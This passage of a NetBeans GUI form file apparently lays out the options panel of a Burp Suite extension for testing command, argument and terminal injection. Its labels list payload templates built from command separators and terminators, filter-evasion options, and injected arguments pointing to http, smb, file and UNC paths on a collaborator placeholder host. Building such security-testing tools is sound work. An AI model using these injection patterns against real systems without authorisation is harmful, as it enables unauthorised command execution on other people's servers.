attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"fifthBasePayloadCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"sixthBasePayloadCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"seventhBasePayloadCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"eightBasePayloadCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace pref=\"417\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n          </Layout>\n          <SubComponents>\n            <Component class=\"javax.swing.JCheckBox\" name=\"doCommandInjection\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Test for command injection\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"doCommandInjectionActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JLabel\" name=\"advancedPayloadLabel\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Use the following syntaxes (see the manual for details on base syntaxes)\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"basePayloadCheckBox\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"COMMAND (this is the base payload (don&apos;t uncheck unless you know what you&apos;re doing)\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"secondBasePayloadCheckBox\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"COMMAND + COMMAND_TERMINATOR\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"thirdBasePayloadCheckBox\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"COMMAND_SEPARATOR + COMMAND\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"fourthBasePayloadCheckBox\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"fifthBasePayloadCheckBox\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR + SUFFIX \"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"seventhBasePayloadCheckBox\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"PREFIX + COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR + SUFFIX\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"sixthBasePayloadCheckBox\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"PREFIX + COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"eightBasePayloadCheckBox\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"PREFIX + COMMAND + SUFFIX\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n          </SubComponents>\n        </Container>\n        <Container class=\"javax.swing.JPanel\" name=\"jPanel5\">\n          <Constraints>\n            <Constraint layoutClass=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout\" value=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout$JTabbedPaneConstraintsDescription\">\n              <JTabbedPaneConstraints tabName=\"Argument injection\">\n                <Property name=\"tabTitle\" type=\"java.lang.String\" value=\"Argument injection\"/>\n              </JTabbedPaneConstraints>\n            </Constraint>\n          </Constraints>\n\n          <Layout>\n            <DimensionLayout dim=\"0\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" attributes=\"0\">\n                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                          <Group type=\"102\" attributes=\"0\">\n                              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                                  <Group type=\"102\" attributes=\"0\">\n                                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                                      <Component id=\"fixedArguments\" min=\"-2\" pref=\"463\" max=\"-2\" attributes=\"0\"/>\n                                  </Group>\n                                  <Component id=\"jLabel11\" alignment=\"0\" min=\"-2\" pref=\"256\" max=\"-2\" attributes=\"0\"/>\n                              </Group>\n                              <EmptySpace min=\"-2\" pref=\"37\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"argInjectionCheckBox\" min=\"-2\" pref=\"388\" max=\"-2\" attributes=\"0\"/>\n                          </Group>\n                          <Group type=\"102\" attributes=\"0\">\n                              <EmptySpace max=\"-2\" attributes=\"0\"/>\n                              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                                  <Component id=\"uncPathsCheckBox\" alignment=\"0\" min=\"-2\" pref=\"467\" max=\"-2\" attributes=\"0\"/>\n                                  <Group type=\"102\" attributes=\"0\">\n                                      <EmptySpace min=\"-2\" pref=\"486\" max=\"-2\" attributes=\"0\"/>\n                                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                                          <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                                              <EmptySpace min=\"-2\" pref=\"14\" max=\"-2\" attributes=\"0\"/>\n                                              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                                                  <Component id=\"injectAdditionalArguments\" min=\"-2\" pref=\"626\" max=\"-2\" attributes=\"0\"/>\n                                                  <Component id=\"bruteArgInjections\" alignment=\"0\" min=\"-2\" pref=\"477\" max=\"-2\" attributes=\"0\"/>\n                                              </Group>\n                                          </Group>\n                                          <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                                              <EmptySpace min=\"-2\" pref=\"18\" max=\"-2\" attributes=\"0\"/>\n                                              <Component id=\"defaultArgBruteRange\" min=\"-2\" pref=\"721\" max=\"-2\" attributes=\"0\"/>\n                                          </Group>\n                                          <Group type=\"103\" alignment=\"0\" groupAlignment=\"0\" max=\"-2\" attributes=\"0\">\n                                              <Component id=\"injectHTTPCheckBox\" min=\"-2\" pref=\"601\" max=\"-2\" attributes=\"0\"/>\n                                              <Component id=\"injectSmbCheckBox\" min=\"-2\" pref=\"618\" max=\"-2\" attributes=\"0\"/>\n                                              <Component id=\"injectFileCheckBox\" min=\"-2\" pref=\"640\" max=\"-2\" attributes=\"0\"/>\n                                              <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                                                  <Component id=\"customArgBruteRange\" min=\"-2\" pref=\"379\" max=\"-2\" attributes=\"0\"/>\n                                                  <EmptySpace type=\"separate\" max=\"-2\" attributes=\"0\"/>\n                                                  <Component id=\"customCharacterRange\" min=\"-2\" pref=\"283\" max=\"-2\" attributes=\"0\"/>\n                                              </Group>\n                                              <Component id=\"jLabel6\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                                              <Component id=\"injectUncCheckBox\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                                          </Group>\n                                      </Group>\n                                  </Group>\n                              </Group>\n                          </Group>\n                      </Group>\n                      <EmptySpace pref=\"621\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n            <DimensionLayout dim=\"1\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"3\" attributes=\"0\">\n                          <Component id=\"argInjectionCheckBox\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"fixedArguments\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace min=\"-2\" pref=\"6\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"jLabel11\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"uncPathsCheckBox\" min=\"-2\" pref=\"25\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"injectAdditionalArguments\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"bruteArgInjections\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"defaultArgBruteRange\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"1\" attributes=\"0\">\n                          <Component id=\"customArgBruteRange\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"customCharacterRange\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace type=\"unrelated\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"jLabel6\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"injectHTTPCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"injectSmbCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"injectFileCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"injectUncCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace pref=\"368\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n          </Layout>\n          <SubComponents>\n            <Component class=\"javax.swing.JCheckBox\" name=\"argInjectionCheckBox\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Test for argument injection\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"argInjectionCheckBoxActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"fixedArguments\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Check known injections\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"fixedArgumentsActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"bruteArgInjections\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Brute force argument flags\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"bruteArgInjectionsActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"injectHTTPCheckBox\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"http://BURP_COLLAB_DOMAIN/a\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"injectHTTPCheckBoxActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"injectFileCheckBox\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"file://BURP_COLLAB_DOMAIN/a\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"uncPathsCheckBox\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"&gt;\\u005c\\u005cBURP_COLLAB_DOMAIN\\u005co\" containsInvalidXMLChars=\"true\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"injectSmbCheckBox\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"smb://BURP_COLLAB_DOMAIN/a\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"injectUncCheckBox\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"\\u005c\\u005cBURP_COLLAB_DOMAIN\\u005ca\" containsInvalidXMLChars=\"true\"/>\n                <Property name=\"toolTipText\" type=\"java.lang.String\" value=\"UNC paths\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel6\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Use the following argument values\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"injectAdditionalArguments\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Inject additional arguments directly (without flags)\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"injectAdditionalArgumentsActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel11\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"win-specific\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JRadioButton\" name=\"defaultArgBruteRange\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Default range (a-zA-Z, LOTS of payloads)\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"defaultArgBruteRangeActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JRadioButton\" name=\"customArgBruteRange\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Custom character range:\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"customArgBruteRangeActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JTextField\" name=\"customCharacterRange\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"abcdefghijklmnroqprstuvxyzACDEEFGHIJCKLMNROQPRSTUVXYZ\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n          </SubComponents>\n        </Container>\n        <Container class=\"javax.swing.JPanel\" name=\"jPanel6\">\n          <Constraints>\n            <Constraint layoutClass=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout\" value=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout$JTabbedPaneConstraintsDescription\">\n              <JTabbedPaneConstraints tabName=\"Terminal injection\">\n                <Property name=\"tabTitle\" type=\"java.lang.String\" value=\"Terminal injection\"/>\n              </JTabbedPaneConstraints>\n            </Constraint>\n          </Constraints>\n\n          <Layout>\n            <DimensionLayout dim=\"0\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace min=\"-2\" pref=\"20\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"doTerminalInjection\" min=\"-2\" pref=\"1091\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace pref=\"747\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n            <DimensionLayout dim=\"1\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"doTerminalInjection\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace pref=\"713\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n          </Layout>\n          <SubComponents>\n            <Component class=\"javax.swing.JCheckBox\" name=\"doTerminalInjection\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Test for terminal injection\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"doTerminalInjectionActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n          </SubComponents>\n        </Container>\n        <Container class=\"javax.swing.JPanel\" name=\"jPanel2\">\n          <Constraints>\n            <Constraint layoutClass=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout\" value=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout$JTabbedPaneConstraintsDescription\">\n              <JTabbedPaneConstraints tabName=\"Evasive techniques\">\n                <Property name=\"tabTitle\" type=\"java.lang.String\" value=\"Evasive techniques\"/>\n              </JTabbedPaneConstraints>\n            </Constraint>\n          </Constraints>\n\n          <Layout>\n            <DimensionLayout dim=\"0\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                          <Component id=\"jScrollPane1\" alignment=\"0\" min=\"-2\" pref=\"679\" max=\"-2\" attributes=\"0\"/>\n                          <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                              <Component id=\"encodingsToUse\" min=\"-2\" pref=\"213\" max=\"-2\" attributes=\"0\"/>\n                              <EmptySpace min=\"-2\" pref=\"29\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"removeEncoding\" min=\"-2\" pref=\"176\" max=\"-2\" attributes=\"0\"/>\n                              <EmptySpace min=\"-2\" pref=\"77\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"jButton4\" min=\"-2\" pref=\"174\" max=\"-2\" attributes=\"0\"/>\n                          </Group>\n                          <Component id=\"jLabel9\" alignment=\"0\" min=\"-2\" pref=\"706\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"includeLiteralWhites\" alignment=\"0\" min=\"-2\" pref=\"672\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"smart400Avoidance\" alignment=\"0\" min=\"-2\" pref=\"663\" max=\"-2\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace min=\"-2\" pref=\"33\" max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"0\" max=\"-2\" attributes=\"0\">\n                          <Component id=\"useNullByte\" max=\"32767\" attributes=\"0\"/>\n                          <Component id=\"jLabel8\" max=\"32767\" attributes=\"0\"/>\n                          <Component id=\"removeTerminatorButton\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                          <Component id=\"jScrollPane3\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                          <Component id=\"osSpecificTerminators\" alignment=\"0\" pref=\"785\" max=\"32767\" attributes=\"0\"/>\n                          <Component id=\"includeThePooComboBox\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                          <Component id=\"jLabel13\" alignment=\"0\" min=\"-2\" pref=\"554\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"useTerminatorsCheckBox\" alignment=\"0\" max=\"32767\" attributes=\"0\"/>\n                          <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                              <Component id=\"addTerminatorButton\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                              <EmptySpace type=\"separate\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"addTerminatorField\" min=\"-2\" pref=\"505\" max=\"-2\" attributes=\"0\"/>\n                          </Group>\n                          <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                              <Component id=\"terminatorASCIIFormat\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                              <EmptySpace type=\"separate\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"terminatorHexFormat\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          </Group>\n                      </Group>\n                      <EmptySpace pref=\"322\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n            <DimensionLayout dim=\"1\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"useTerminatorsCheckBox\" min=\"-2\" pref=\"37\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"includeThePooComboBox\" min=\"-2\" pref=\"25\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"osSpecificTerminators\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"useNullByte\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace type=\"unrelated\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"jLabel8\" min=\"-2\" pref=\"21\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"jScrollPane3\" min=\"-2\" pref=\"104\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"removeTerminatorButton\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace type=\"unrelated\" max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"3\" attributes=\"0\">\n                          <Component id=\"addTerminatorButton\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"addTerminatorField\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"jLabel13\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"3\" attributes=\"0\">\n                          <Component id=\"terminatorASCIIFormat\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"terminatorHexFormat\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace pref=\"323\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <Component id=\"jLabel9\" min=\"-2\" pref=\"36\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace min=\"-2\" pref=\"13\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"jScrollPane1\" min=\"-2\" pref=\"87\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace type=\"separate\" max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"3\" attributes=\"0\">\n                          <Component id=\"encodingsToUse\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"removeEncoding\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"jButton4\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace min=\"-2\" pref=\"26\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"includeLiteralWhites\" min=\"-2\" pref=\"37\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"smart400Avoidance\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace min=\"0\" pref=\"0\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n          </Layout>\n          <SubComponents>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel9\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Output encodings to use\"/>\n              </Properties>\n            </Component>\n            <Container class=\"javax.swing.JScrollPane\" name=\"jScrollPane1\">\n              <AuxValues>\n                <AuxValue name=\"autoScrollPane\" type=\"java.lang.Boolean\" value=\"true\"/>\n              </AuxValues>\n\n              <Layout class=\"org.netbeans.modules.form.compat2.layouts.support.JScrollPaneSupportLayout\"/>\n              